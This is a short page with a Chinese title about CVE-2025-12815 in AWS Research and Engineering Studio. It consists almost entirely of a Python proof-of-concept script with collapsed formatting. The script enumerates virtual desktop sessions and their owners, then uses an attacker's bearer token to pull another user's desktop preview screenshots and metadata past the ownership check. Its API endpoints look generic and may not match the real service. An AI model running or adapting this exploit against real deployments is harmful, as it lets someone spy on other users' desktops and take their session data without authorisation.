CVE-2025-12815 AWS RES Virtual Desktop预览页所有权验证缺陷

import requests import json # CVE-2025-12815 PoC - AWS RES Virtual Desktop Preview Page Access Control Bypass # Target: AWS Research and Engineering Studio (RES) Virtual Desktop # Vulnerability: Insufficient ownership verification on Virtual Desktop preview page TARGET_HOST = "https://res.aws.amazon.com" ATTACKER_TOKEN = "<attacker_authentication_token>" TARGET_DESKTOP_ID = "<target_user_desktop_session_id>" def exploit_preview_access(): """ This PoC demonstrates the ownership verification bypass in RES Virtual Desktop preview page. An authenticated low-privilege user can view another user's active desktop session metadata, including periodic desktop preview screenshots. """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: Attempt to access target user's desktop preview without proper authorization preview_url = f"{TARGET_HOST}/api/virtual-desktop/preview/{TARGET_DESKTOP_ID}" response = requests.get(preview_url, headers=headers) if response.status_code == 200: data = response.json() print(f"[+] Successfully accessed target desktop preview!") print(f"[+] Preview URL: {data.get('preview_url')}") print(f"[+] Session Metadata: {json.dumps(data.get('metadata'), indent=2)}") return True else: print(f"[-] Access denied or desktop not found. Status: {response.status_code}") return False def enumerate_desktop_sessions(): """ Enumerate accessible desktop sessions to identify valid TARGET_DESKTOP_ID values. """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } list_url = f"{TARGET_HOST}/api/virtual-desktop/sessions" response = requests.get(list_url, headers=headers) if response.status_code == 200: sessions = response.json().get('sessions', []) print(f"[+] Found {len(sessions)} accessible sessions") for session in sessions: print(f" - Session ID: {session.get('id')}, Owner: {session.get('owner')}") return sessions return [] if __name__ == "__main__": print("CVE-2025-12815 PoC - AWS RES Virtual Desktop Preview Access Control Bypass") print("=" * 80) enumerate_desktop_sessions() print() exploit_preview_access()